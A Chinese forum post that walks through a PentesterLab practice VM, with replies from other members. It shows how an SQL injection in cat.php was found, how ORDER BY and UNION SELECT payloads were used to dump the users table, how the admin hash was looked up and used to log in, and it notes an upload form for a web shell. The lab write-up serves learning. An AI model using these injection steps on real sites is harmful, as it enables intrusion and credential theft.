首页
社区
课程
招聘
[原创]PentesterLab SQL注入实例分析
发表于: 2014-8-26 15:54 4980

[原创]PentesterLab SQL注入实例分析

2014-8-26 15:54
4980

一、准备
1、实例ISO下载地址:909K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3&6@1k6i4y4@1k6i4u0D9j5h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5r3g2J5j5$3W2K6k6i4y4Q4x3V1k6X3M7X3!0E0i4K6g2X3M7%4q4D9K9g2)9#2k6Y4c8G2i4K6g2X3M7$3S2W2L8r3I4Q4y4h3k6H3k6#2)9#2k6X3g2V1K9i4c8A6L8$3&6Q4x3V1j5`.
2、实例下载后,使用vmware创建新的虚拟机,在选择iso文件时使用第一步下载的文件。

3、虚拟机制作完成后,打开,在虚拟机的终端中运行ifconfig 获取ip地址,在主机中的浏览器中输入Ip即可进入实验界面:


二、信息收集
4、浏览网页及源码信息,获取网站一些基本信息:
index.php
cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
all.php
admin/login.php [管理界面?]
admin/uploads/ [可直接访问,内有几个图片文件,文件夹权限管理不够严格]

5、查看后台运行的服务器类型,使用火狐的Live HTTP headers插件或者查看器,随便点击一个页面,查看响应信息:

显然使用的是Apache服务器,是否可能存在.htpasswd/.htaccess可直接访问的问题?
三、可能问题分析
6、问题1:cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
在地址栏输入:0c0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0j5#2i4K6u0W2x3e0f1#2i4K6u0r3j5$3q4@1i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4c8W2!0n7b7#2)9^5b7H3`.`.


怀疑cat.php?id=1可能存在漏洞,修改id=1为id=1',弹出报错信息:


很明显,存在SQL注入漏洞,且后台使用了MySql数据库。

7、既然存在sql注入漏洞,那看能否爆出用户信息?

8、让页面爆出用户信息,那就需要用到union关键字,那首先需要判断现在页面显示信息时查询数据库获得的列数,使用order by查询:
order by 1  页面正常显示
order by 2  页面正常显示
order by 3  页面正常显示
order by 4  页面正常显示
order by 5  弹出“Unknown column '5' in 'order clause' ”问题
那么列数是4

9、猜测下用户表为user,看看有何信息输出?
输入:d66K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0j5#2i4K6u0W2x3e0f1#2i4K6u0r3j5$3q4@1i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4i4K6t1#2x3U0m8#2L8X3W2G2L8W2)9J5y4e0t1H3j5h3I4D9i4K6t1#2x3U0m8K6k6h3I4W2j5%4c8Q4x3U0f1J5x3o6q4Q4x3V1x3I4i4K6u0o6x3g2)9J5b7K6q4Q4x3U0f1J5x3r3k6J5L8$3#2Q4x3U0f1J5x3s2g2K6k6i4t1`.
弹出:Table 'photoblog.user' doesn't exist  啊哈,弹出了数据库名?但是表名user不对。

10、验证下数据库名,顺便爆下表名?需要先确定查询结果的第几列会显示出来。
681K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0j5#2i4K6u0W2x3e0f1#2i4K6u0r3j5$3q4@1i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4i4K6t1#2x3U0m8#2L8X3W2G2L8W2)9J5y4e0t1H3j5h3I4D9i4K6t1#2x3U0m8K6k6h3I4W2j5%4c8Q4x3U0f1J5x3o6q4Q4x3V1y4V1j5i4c8S2j5X3q4K6k6g2)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3V1x3I4i4K6u0o6x3b7`.`.
变换database() 函数的位置,看输出信息,确定第二列信息会显示出来:

fa3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0j5#2i4K6u0W2x3e0f1#2i4K6u0r3j5$3q4@1i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4i4K6t1#2x3U0m8#2L8X3W2G2L8W2)9J5y4e0t1H3j5h3I4D9i4K6t1#2x3U0m8K6k6h3I4W2j5%4c8Q4x3U0f1J5x3o6q4Q4x3V1y4Y4M7X3!0#2M7q4)9#2k6X3y4G2L8X3y4S2N6q4)9J5y4e0t1^5N6r3q4T1L8r3g2Q4y4h3k6F1j5h3#2W2i4K6t1#2x3U0W2Q4x3V1x3I4i4K6u0o6x3g2)9J5y4e0t1H3k6Y4u0G2L8g2)9J5y4e0t1H3K9h3&6X3L8%4u0E0j5i4c8A6L8$3&6Q4y4h3k6K6j5$3S2W2L8h3q4Q4x3X3g2@1j5h3u0D9k6i4y4Q4x3U0f1J5x3s2N6Z5k6i4u0W2i4K6t1#2x3U0m8@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9K6c8o6m8^5y4K6l9$3z5o6k6X3y4K6b7$3k6U0j5J5y4X3x3$3k6U0j5%4i4K6g2n7x3s2R3%4x3o6j5^5y4X3j5%4y4o6k6X3y4U0t1$3j5K6k6X3y4U0N6Q4c8e0c8Q4b7U0S2Q4b7V1q4H3K9r3!0@1L8$3u0D9L8$3N6Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0g2Q4z5p5c8Q4z5o6q4Q4c8e0g2Q4z5o6g2Q4b7f1c8Q4c8e0S2Q4b7V1k6Q4z5f1u0Q4c8e0g2Q4z5o6S2Q4b7U0k6Q4y4f1b7`.


ok,用户表名为users

11、那接下来爆用户密码:
union all select 1,1,1,1 from users 
没输出有效信息

难道用数字不能查询出有效信息?
那尝试下passwd/password?
发现输入:union all select 1,password,1,1 from users
输出:8efe310f9ab3efeae8d410a8e0166eb2

应该是一个用户的密码加密的密文?

12、输入:union all select 1,password,1,1 from users where user='admin'
弹出Unknown column 'user' in 'where clause' 问题,那看来user这个列不存在

那能不能爆一下列呢?

尝试:
4daK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0j5#2i4K6u0W2x3e0f1#2i4K6u0r3j5$3q4@1i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4i4K6t1#2x3U0m8#2L8X3W2G2L8W2)9J5y4e0t1H3M7$3g2D9k6h3y4@1i4K6t1#2x3U0l9I4i4K6u0o6k6%4u0G2N6i4m8Q4y4h3k6U0L8$3&6U0j5i4c8Q4x3U0f1J5z5r3y4G2L8s2g2E0L8W2)9#2k6X3&6S2L8h3g2Q4x3U0f1J5z5g2)9J5b7K6q4Q4x3V1x3I4i4K6t1#2x3U0m8Q4x3U0f1J5x3r3k6J5L8$3#2Q4x3U0f1J5x3r3W2F1k6X3!0J5L8h3q4@1K9h3!0F1i4K6g2X3M7$3y4Z5k6h3#2S2i4K6u0W2j5$3!0D9N6h3#2F1M7#2)9J5y4e0t1H3N6$3S2W2M7X3g2Q4x3U0f1J5x3s2c8S2j5X3I4W2i4K6g2X3L8X3q4E0k6g2)9K6c8o6m8^5y4K6f1%4x3K6j5#2y4K6t1%4x3#2)9J5y4e0t1H3j5h3&6V1i4K6t1#2x3U0m8@1j5h3u0D9k6g2)9#2k6Y4y4U0K9r3g2E0j5g2)9K6c8o6m8^5y4K6l9$3z5o6k6X3y4K6b7$3k6U0j5J5y4X3x3$3k6U0j5%4

爆出列名为id,login,password三列。

13、输入:union all select 1,password,1,1 from users where login='admin'
       获得密码:8efe310f9ab3efeae8d410a8e0166eb2
14、尝试登录,失败,很显然得到的密码为密文
15、尝试使用John爆破,很长时间没结果
16、可不可能是md5?尝试md5在线破解,没可用结果
17、尝试google  8efe310f9ab3efeae8d410a8e0166eb2:


可能为P4ssw0rd,进入admin界面,输入admin : P4ssw0rd登录成功



18、分析管理功能,发现在admin/new.php存在文件上传功能,那可以上传shell 

参考文献:
1、406K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6m8M7Y4c8A6j5$3I4W2i4K6u0r3x3U0l9I4x3U0l9^5i4K6u0r3x3e0f1I4y4e0l9K6i4K6u0W2K9s2c8E0L8l9`.`.
2、d19K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0u0U0N6r3!0Q4x3X3g2U0L8$3#2Q4x3V1k6m8M7Y4c8A6j5$3I4W2i4K6u0r3x3U0l9I4x3e0l9^5i4K6u0r3z5e0V1%4y4o6c8Q4x3X3g2Z5N6r3#2D9
3、810K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8S2N6h3I4K6j5$3S2G2N6g2)9J5k6h3y4G2L8g2)9J5c8Y4c8G2L8$3I4K6i4K6u0r3P5r3I4S2N6r3g2Q4x3V1j5`.

后注:pentesterlab 有分析文档,本文仅是小菜整理自己的思路,大牛勿拍


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 53
活跃值: (754)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
伟大的google 只能这么说了
2014-8-26 16:24
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
记得读书的时候看网上的教程。。每次注入结果都是要么admin要么123456。。。。这种好事我怎么遇不到。。
2014-8-26 16:29
0
雪    币: 144
活跃值: (708)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
是啊,每次脱壳的时候就那么几步就搞定了,每次轮到我托人家的壳都不是那么一回事
2014-8-26 18:57
0
雪    币: 6
活跃值: (1483)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
有环境啊,感谢楼主
2014-8-26 21:37
0
雪    币: 586
活跃值: (1339)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
我很赞同
2014-8-26 23:18
0
雪    币: 49
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
+1 mark
2014-8-27 08:23
0
雪    币: 1555
活跃值: (3238)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
8
不错,适合我等菜菜学习
2014-8-28 09:27
0
雪    币: 12019
活跃值: (18869)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
支持楼主分享SQL注入方面的经验,辛苦了
2014-9-2 09:44
0
雪    币: 49
活跃值: (118)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
mark
2014-9-2 10:15
0
雪    币: 11
活跃值: (90)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
收藏,感谢分享
2014-9-2 11:18
0
游客
登录 | 注册 方可回帖
返回